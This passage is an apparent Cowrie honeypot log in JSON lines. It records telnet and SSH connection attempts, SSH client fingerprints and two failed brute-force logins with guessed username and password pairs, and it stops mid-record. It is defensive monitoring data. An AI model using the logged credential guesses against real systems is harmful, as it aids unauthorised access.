{"eventid":"cowrie.session.closed","duration":0.00533747673034668,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:22:11.246509Z","src_ip":"64.227.101.30","session":"a8188d590e9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":56780,"dst_ip":"10.17.0.5","dst_port":23,"session":"e435ef58179a","protocol":"telnet","message":"New connection: 64.227.101.30:56780 (10.17.0.5:23) [session: e435ef58179a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:22:16.480294Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":56094,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d905956251e","protocol":"telnet","message":"New connection: 64.227.101.30:56094 (10.17.0.5:23) [session: 2d905956251e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:22:20.468570Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":55970,"dst_ip":"10.17.0.5","dst_port":23,"session":"03fdea239f5b","protocol":"telnet","message":"New connection: 64.227.101.30:55970 (10.17.0.5:23) [session: 03fdea239f5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:22:21.188740Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":58942,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6f655c2ad23","protocol":"telnet","message":"New connection: 68.183.198.12:58942 (159.203.135.109:23) [session: e6f655c2ad23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:22:22.005086Z"}
{"eventid":"cowrie.session.closed","duration":85.75556182861328,"message":"Connection lost after 85 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:22:22.672503Z","src_ip":"64.227.101.30","session":"cf2cb68e0068","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":58428,"dst_ip":"10.17.0.5","dst_port":23,"session":"b628f0928b82","protocol":"telnet","message":"New connection: 64.227.101.30:58428 (10.17.0.5:23) [session: b628f0928b82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:22:24.047311Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":41514,"dst_ip":"10.17.0.5","dst_port":23,"session":"55c83efdd056","protocol":"telnet","message":"New connection: 64.227.101.30:41514 (10.17.0.5:23) [session: 55c83efdd056]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:22:28.112850Z"}
{"eventid":"cowrie.session.closed","duration":0.004657745361328125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:22:28.117377Z","src_ip":"64.227.101.30","session":"55c83efdd056","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":60670,"dst_ip":"159.203.135.109","dst_port":23,"session":"d23d1e6a50c7","protocol":"telnet","message":"New connection: 68.183.198.12:60670 (159.203.135.109:23) [session: d23d1e6a50c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:22:32.860184Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":60786,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd9406e1eb3a","protocol":"telnet","message":"New connection: 68.183.198.12:60786 (159.203.135.109:23) [session: dd9406e1eb3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:22:33.646298Z"}
{"eventid":"cowrie.session.closed","duration":38.634432315826416,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:22:35.781565Z","src_ip":"64.227.101.30","session":"2f6c85b043e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.23517894744873,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:22:38.585332Z","src_ip":"68.183.198.12","session":"b003939ab496","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":58192,"dst_ip":"10.17.0.5","dst_port":23,"session":"4dde6ce3ea8d","protocol":"telnet","message":"New connection: 64.227.101.30:58192 (10.17.0.5:23) [session: 4dde6ce3ea8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:22:39.357023Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":32852,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d81d2fc2106","protocol":"telnet","message":"New connection: 64.227.101.30:32852 (10.17.0.5:23) [session: 4d81d2fc2106]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:22:39.755080Z"}
{"eventid":"cowrie.session.closed","duration":31.67185616493225,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:22:48.151990Z","src_ip":"64.227.101.30","session":"e435ef58179a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":33850,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0d83659f8ff","protocol":"telnet","message":"New connection: 64.227.101.30:33850 (10.17.0.5:23) [session: c0d83659f8ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:22:50.126755Z"}
{"eventid":"cowrie.session.closed","duration":0.07920956611633301,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:22:50.205849Z","src_ip":"64.227.101.30","session":"c0d83659f8ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":33918,"dst_ip":"10.17.0.5","dst_port":23,"session":"020d0dd8ac87","protocol":"telnet","message":"New connection: 64.227.101.30:33918 (10.17.0.5:23) [session: 020d0dd8ac87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:22:50.627968Z"}
{"eventid":"cowrie.session.closed","duration":32.81547141075134,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:22:56.862641Z","src_ip":"64.227.101.30","session":"b628f0928b82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":54234,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b4a441bcb84","protocol":"telnet","message":"New connection: 64.227.101.30:54234 (10.17.0.5:23) [session: 6b4a441bcb84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:22:58.256784Z"}
{"eventid":"cowrie.session.closed","duration":0.005247831344604492,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:22:58.261899Z","src_ip":"64.227.101.30","session":"6b4a441bcb84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.185.71","src_port":52362,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e677d18f105","protocol":"ssh","message":"New connection: 43.165.185.71:52362 (10.17.0.5:22) [session: 4e677d18f105]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:22:59.149925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:22:59.155273Z","src_ip":"43.165.185.71","session":"4e677d18f105","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:22:59.340727Z","src_ip":"43.165.185.71","session":"4e677d18f105","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"utnubu","message":"login attempt [ubuntu/utnubu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:23:00.119242Z","src_ip":"43.165.185.71","session":"4e677d18f105","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:23:01.312783Z","src_ip":"43.165.185.71","session":"4e677d18f105","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.003161668777466,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:23:03.008100Z","src_ip":"68.183.198.12","session":"e6f655c2ad23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":40294,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5c1b415cb05","protocol":"telnet","message":"New connection: 64.227.101.30:40294 (10.17.0.5:23) [session: c5c1b415cb05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:23:03.845424Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":40776,"dst_ip":"10.17.0.5","dst_port":23,"session":"2555698f1e22","protocol":"telnet","message":"New connection: 64.227.101.30:40776 (10.17.0.5:23) [session: 2555698f1e22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:23:04.464311Z"}
{"eventid":"cowrie.session.closed","duration":59.333521366119385,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:23:04.656433Z","src_ip":"64.227.101.30","session":"7dd2739a4b29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":40250,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc4e7416012a","protocol":"telnet","message":"New connection: 64.227.101.30:40250 (10.17.0.5:23) [session: cc4e7416012a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:23:04.740612Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":40592,"dst_ip":"10.17.0.5","dst_port":23,"session":"588804815c9d","protocol":"telnet","message":"New connection: 64.227.101.30:40592 (10.17.0.5:23) [session: 588804815c9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:23:04.814909Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":41080,"dst_ip":"10.17.0.5","dst_port":23,"session":"666e794c666b","protocol":"telnet","message":"New connection: 64.227.101.30:41080 (10.17.0.5:23) [session: 666e794c666b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:23:06.506842Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":41124,"dst_ip":"10.17.0.5","dst_port":23,"session":"618782b9a44b","protocol":"telnet","message":"New connection: 64.227.101.30:41124 (10.17.0.5:23) [session: 618782b9a44b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:23:06.685633Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":41826,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d21c0636e4e","protocol":"telnet","message":"New connection: 64.227.101.30:41826 (10.17.0.5:23) [session: 8d21c0636e4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:23:07.945267Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":41508,"dst_ip":"10.17.0.5","dst_port":23,"session":"df32284e9daa","protocol":"telnet","message":"New connection: 64.227.101.30:41508 (10.17.0.5:23) [session: df32284e9daa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:23:10.987301Z"}
{"eventid":"cowrie.session.closed","duration":33.48315978050232,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:23:12.839984Z","src_ip":"64.227.101.30","session":"4dde6ce3ea8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":43748,"dst_ip":"10.17.0.5","dst_port":23,"session":"0caca7c30d2a","protocol":"telnet","message":"New connection: 64.227.101.30:43748 (10.17.0.5:23) [session: 0caca7c30d2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:23:13.070324Z"}
{"eventid":"cowrie.session.closed","duration":22.73047375679016,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:23:13.358318Z","src_ip":"64.227.101.30","session":"020d0dd8ac87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":34328,"dst_ip":"10.17.0.5","dst_port":23,"session":"13f85e98e608","protocol":"telnet","message":"New connection: 64.227.101.30:34328 (10.17.0.5:23) [session: 13f85e98e608]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:23:14.684239Z"}
{"eventid":"cowrie.session.closed","duration":49.17036485671997,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:23:22.816538Z","src_ip":"68.183.198.12","session":"dd9406e1eb3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.4600043296814,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:23:23.320032Z","src_ip":"68.183.198.12","session":"d23d1e6a50c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":48116,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b73174142ae","protocol":"telnet","message":"New connection: 64.227.101.30:48116 (10.17.0.5:23) [session: 1b73174142ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:23:23.766131Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":47856,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bdf8a8b4931","protocol":"telnet","message":"New connection: 64.227.101.30:47856 (10.17.0.5:23) [session: 9bdf8a8b4931]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:23:24.130683Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":41711,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe8f775ccedc","protocol":"ssh","message":"New connection: 103.170.173.26:41711 (10.17.0.5:22) [session: fe8f775ccedc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:23:24.701443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:23:24.706652Z","src_ip":"103.170.173.26","session":"fe8f775ccedc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:23:24.992708Z","src_ip":"103.170.173.26","session":"fe8f775ccedc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":39414,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9503833293f","protocol":"telnet","message":"New connection: 68.183.198.12:39414 (159.203.135.109:23) [session: e9503833293f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:23:25.590281Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Aa12345678","message":"login attempt [admin/Aa12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:23:26.152919Z","src_ip":"103.170.173.26","session":"fe8f775ccedc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:23:27.436285Z","src_ip":"103.170.173.26","session":"fe8f775ccedc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":53466,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b24fc51e698","protocol":"telnet","message":"New connection: 64.227.101.30:53466 (10.17.0.5:23) [session: 7b24fc51e698]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:23:35.550077Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":51772,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7f16b23344f","protocol":"telnet","message":"New connection: 64.227.101.30:51772 (10.17.0.5:23) [session: e7f16b23344f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:23:35.900041Z"}
{"eventid":"cowrie.session.closed","duration":30.909010648727417,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:23:38.854164Z","src_ip":"64.227.101.30","session":"8d21c0636e4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":54364,"dst_ip":"10.17.0.5","dst_port":23,"session":"23bfae1c171c","protocol":"telnet","message":"New connection: 64.227.101.30:54364 (10.17.0.5:23) [session: 23bfae1c171c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:23:39.363631Z"}
{"eventid":"cowrie.session.closed","duration":37.70444393157959,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:23:41.549747Z","src_ip":"64.227.101.30","session":"c5c1b415cb05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":57170,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a9c81bca559","protocol":"telnet","message":"New connection: 64.227.101.30:57170 (10.17.0.5:23) [session: 2a9c81bca559]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:23:42.847913Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":56690,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ae25cf6318a","protocol":"telnet","message":"New connection: 64.227.101.30:56690 (10.17.0.5:23) [session: 2ae25cf6318a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:23:44.851140Z"}
{"eventid":"cowrie.session.closed","duration":65.66963195800781,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:23:45.424591Z","src_ip":"64.227.101.30","session":"4d81d2fc2106","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.3448326587677,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:23:45.808973Z","src_ip":"64.227.101.30","session":"2555698f1e22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.16417050361633,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:23:45.904660Z","src_ip":"64.227.101.30","session":"cc4e7416012a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.13537240028381,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:23:45.950159Z","src_ip":"64.227.101.30","session":"588804815c9d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.620521545410156,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:23:46.127285Z","src_ip":"64.227.101.30","session":"666e794c666b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.479440689086914,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:23:48.164946Z","src_ip":"64.227.101.30","session":"618782b9a44b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":60836,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4b1db4f883a","protocol":"telnet","message":"New connection: 64.227.101.30:60836 (10.17.0.5:23) [session: f4b1db4f883a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:23:50.812833Z"}
{"eventid":"cowrie.session.closed","duration":39.44344139099121,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:23:52.513640Z","src_ip":"64.227.101.30","session":"0caca7c30d2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":54632,"dst_ip":"10.17.0.5","dst_port":23,"session":"7dcfe77b4827","protocol":"telnet","message":"New connection: 64.227.101.30:54632 (10.17.0.5:23) [session: 7dcfe77b4827]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:23:53.091740Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.185.71","src_port":38018,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca7bde6186c3","protocol":"ssh","message":"New connection: 43.165.185.71:38018 (10.17.0.5:22) [session: ca7bde6186c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:23:54.537782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:23:54.542505Z","src_ip":"43.165.185.71","session":"ca7bde6186c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","